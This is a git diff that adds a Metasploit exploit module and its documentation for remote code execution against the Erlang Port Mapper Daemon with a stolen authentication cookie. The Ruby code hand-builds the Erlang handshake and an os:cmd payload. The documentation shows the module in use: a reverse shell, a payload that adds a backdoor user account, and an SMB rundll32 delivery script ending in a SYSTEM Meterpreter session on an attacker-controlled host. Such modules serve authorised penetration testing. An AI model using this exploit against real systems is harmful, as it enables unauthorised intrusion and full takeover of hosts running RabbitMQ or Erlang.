diff --git a/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md b/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md new file mode 100644 index 0000000000..7c842a2c5a --- /dev/null +++ b/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md @@ -0,0 +1,154 @@ +## Vulnerable Application + + The [Erlang Port Mapper Daemon](https://www.erlang.org/) is used to coordinate distributed erlang + instances. Should an attacker get the authentication cookie code execution is trivial. Normally this + cookie can be found in the home directory as ".erlang.cookie", however it varies system to system + as well as its configuration. As an example on a Windows 10 instance it can be found under the + users home directory: e.g `C:\Users\\.erlang.cookie`. Code execution is achieved via the + `os:cmd('cmd').` command + +## Verification Steps + + 1. Install the Erlang Port Mapper Daemon + 2. Install RabbitMQ + 3. Start `msfconsole` + 4. Do `use exploit/multi/misc/erlang_cookie_rce` + 5. Do `set RHOST ` + 6. Do `set COOKIE ` + 7. Do `set TARGET ` + 8. Do `set LHOST ` + 9. `exploit` and verify shell is opened (if on windows login) + +## Scenarios + +### Ubuntu 16.04.5 LTS + +``` +msf exploit(multi/misc/erlang_cookie_rce) > options + +Module options (exploit/multi/misc/erlang_cookie_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + COOKIE EXAMPLE yes Erlang cookie to login with + RHOST A.B.C.D yes The target address + RPORT 25672 yes The target port (TCP) + + +Payload options (cmd/unix/reverse): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST W.X.Y.Z yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Unix + + +msf exploit(multi/misc/erlang_cookie_rce) > exploit + +[*] Started reverse TCP double handler on W.X.Y.Z:4444 +[*] A.B.C.D:25672 - Receiving server challenge +[*] A.B.C.D:25672 - Sending challenge reply +[+] A.B.C.D:25672 - Authentication successful, sending payload +[*] Accepted the first client connection... +[*] Accepted the second client connection... +[*] Command: echo XinIWxzXWDO5x9EM; +[*] Writing to socket A +[*] Writing to socket B +[*] Reading from sockets... +[*] Reading from socket B +[*] B: "XinIWxzXWDO5x9EM\r\n" +[*] Matching... +[*] A is input... +[*] Command shell session 1 opened (W.X.Y.Z:4444 -> A.B.C.D:46410) at 2018-12-09 14:45:47 -0600 + +id +uid=122(rabbitmq) gid=130(rabbitmq) groups=130(rabbitmq) +``` + +### Windows 10 (Build 17134) + +First we want to exploit the host, as an example adding a new user. (Payload is executed over cmd.exe) + +``` +msf exploit(multi/misc/erlang_cookie_rce) > options + +Module options (exploit/multi/misc/erlang_cookie_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + COOKIE EXAMPLE yes Erlang cookie to login with + RHOST A.B.C.D yes The target address + RPORT 25672 yes The target port (TCP) + + +Payload options (cmd/windows/adduser): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CUSTOM no Custom group name to be used instead of default + PASS Wetw0rkHax0r$1 yes The password for this user + USER wetw0rk yes The username to create + WMIC false yes Use WMIC on the target to resolve administrators group + + +Exploit target: + + Id Name + -- ---- + 1 Windows + + +msf exploit(multi/misc/erlang_cookie_rce) > exploit + +[*] A.B.C.D:25672 - Receiving server challenge +[*] A.B.C.D:25672 - Sending challenge reply +[+] A.B.C.D:25672 - Authentication successful, sending payload +[*] Exploit completed, but no session was created. +``` + +Once exploitation is complete the tester can authenticate. Another method that can be used is SMB as shown below. + +exploit.rc -> + +``` +use exploit/windows/smb/smb_delivery +set SHARE MSF +set TARGET 0 +exploit -j +use exploit/multi/misc/erlang_cookie_rce +set COOKIE EXAMPLE +set TARGET 1 +set RHOST A.B.C.D +set PAYLOAD cmd/windows/generic +set CMD "rundll32.exe \\\\W.X.Y.Z\MSF\test.dll,0" +exploit -j +``` + +``` +msf > resource exploit.rc +[*] Processing /root/exploit.rc for ERB directives. +[*] Exploit running as background job 0. +[*] Started reverse TCP handler on W.X.Y.Z:4444 +[*] Started service listener on W.X.Y.Z:445 +[*] Server started. +[*] Run the following command on the target machine: rundll32.exe \\W.X.Y.Z\MSF\test.dll,0 +[*] Exploit running as background job 1. +[*] A.B.C.D:25672 - Receiving server challenge +[*] A.B.C.D:25672 - Sending challenge reply +[+] A.B.C.D:25672 - Authentication successful, sending payload +[*] Sending stage (179779 bytes) to A.B.C.D +[*] Meterpreter session 1 opened (W.X.Y.Z:4444 -> A.B.C.D:51856) at 2018-12-18 14:45:02 -0600 +[*] Exploit completed, but no session was created. +msf exploit(multi/misc/erlang_cookie_rce) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +``` diff --git a/modules/exploits/multi/misc/erlang_cookie_rce.rb b/modules/exploits/multi/misc/erlang_cookie_rce.rb new file mode 100644 index 0000000000..ef29c683a9 --- /dev/null +++ b/modules/exploits/multi/misc/erlang_cookie_rce.rb @@ -0,0 +1,156 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Erlang Port Mapper Daemon Cookie RCE', + 'Description' => %q{ + The erlang port mapper daemon is used to coordinate distributed erlang instances. + Should an attacker get the authentication cookie RCE is trivial. Usually, this + cookie is named ".erlang.cookie" and varies on location. + }, + 'Author' => + [ + 'Daniel Mende', # blog post article + 'Milton Valencia (wetw0rk)', # metasploit module + ], + 'References' => + [ + ['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/'] + ], + 'License' => MSF_LICENSE, + 'Platform' => ['unix', 'win'], + 'Arch' => ARCH_CMD, + 'Privileged' => 'false', + 'Targets' => + [ + [ 'Unix', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}, + ], + [ 'Windows', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/adduser'}, + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 20, 2009', # https://github.com/erlang/otp/blob/master/lib/kernel/src/os.erl (history) + ) + ) + + register_options( + [ + OptString.new('COOKIE', [ true, 'Erlang cookie to login with']), + Opt::RPORT(25672) + ]) + end + + def generate_challenge_digest(challenge) + challenge = challenge.unpack('H*')[0].to_i(16).to_s + + hash = Digest::MD5.new + hash.update(datastore['COOKIE']) + hash.update(challenge) + + vprint_status("MD5 digest generated: #{hash.hexdigest}") + return [hash.hexdigest].pack('H*') + end + + def exploit + connect + + our_node = "#{rand_text_alphanumeric(6..12)}@#{rand_text_alphanumeric(6..12)}" + + # SEND_NAME: send initial identification of who "we" are + send_name = "\x00" # Length: 0x0000 + send_name << [(our_node.length+7).to_s(16)].pack('H*') # + send_name << "\x6e" # Tag: n + send_name << "\x00\x05" # Version: R6 (5) + send_name << "\x00\x03\x49\x9c" # Flags (0x0003499c) + send_name << "#{our_node}" # @ + + # SEND_CHALLENGE_REPLY: return generated digest and its own challenge + send_challenge_reply = "\x00\x15" # Length: 21 + send_challenge_reply << "\x72" # Tag: r + + # SEND: send the message to the node + send = "\x00\x00\x00" # Length:0x00000000 + send << [(0x50 + payload.raw.length + our_node.length*2).to_s(16)].pack('H*') # + send << "\x70" # + send << "\x83" # VERSION_MAGIC + send << "\x68" # SMALL_TUPLE_EXT (104) + send << "\x04" # Arity: 4 + send << "\x61" # SMALL_INTEGER_EXT + send << "\x06" # Int: 6 + send << "\x67" # PID_EXT (103) + send << "\x64\x00" # Node: + send << [(our_node.length).to_s(16)].pack('H*') # Length: strlen(Node) + send << "#{our_node}" # Node + send << "\x00\x00\x00\x03" # ID + send << "\x00\x00\x00\x00" # Serial + send << "\x00" # Creation + send << "\x64" # InternalSegmentIndex + send << "\x00\x00" # Len: 0x0000 + send << "\x64" # InternalSegmentIndex + send << "\x00\x03" # Length: 3 + send << "rex" # AtomText: rex + send << "\x83\x68\x02\x67\x64\x00" # + send << [(our_node.length).to_s(16)].pack('H*') # Length: strlen(Node) + send << "#{our_node}" # Node + send << "\x00\x00\x00\x03" # ID + send << "\x00\x00\x00\x00" # Serial + send << "\x00" # Creation + send << "\x68" # SMALL_TUPLE_EXT (104) + send << "\x05" # Arity: 5 + send << "\x64" # InternalSegmentIndex + send << "\x00\x04" # Length: 4 + send << "call" # AtomText: call + send << "\x64" # InternalSegmentIndex + send << "\x00\x02" # Length: 2 + send << "os" # AtomText: os + send << "\x64" # InternalSegmentIndex + send << "\x00\x03" # Length: 3 + send << "cmd" # AtomText: cmd + send << "\x6c" # LIST_EXT + send << "\x00\x00\x00\x01" # Length: 1 + send << "\x6b" # Elements: k + send << "\x00" # Tail + send << [(payload.raw.length).to_s(16)].pack('H*') # strlen(Command) + send << payload.raw # Command + send << "\x6a" # NIL_EXT + send << "\x64" # InternalSegmentIndex + send << "\x00\x04" # Length: 4 + send << "user" # AtomText: user + + sock.put(send_name) + + # recieve servers "SEND_CHALLENGE" token (4 bytes) + print_status("Receiving server challenge") + challenge = sock.get + challenge = challenge[14,4] + + send_challenge_reply << challenge + send_challenge_reply << generate_challenge_digest(challenge) + + print_status("Sending challenge reply") + sock.put(send_challenge_reply) + + if sock.get.length < 1 + fail_with(Failure::UnexpectedReply, "Authentication Failed:#{datastore['COOKIE']}") + end + + print_good("Authentication successful, sending payload") + sock.put(send) + end +end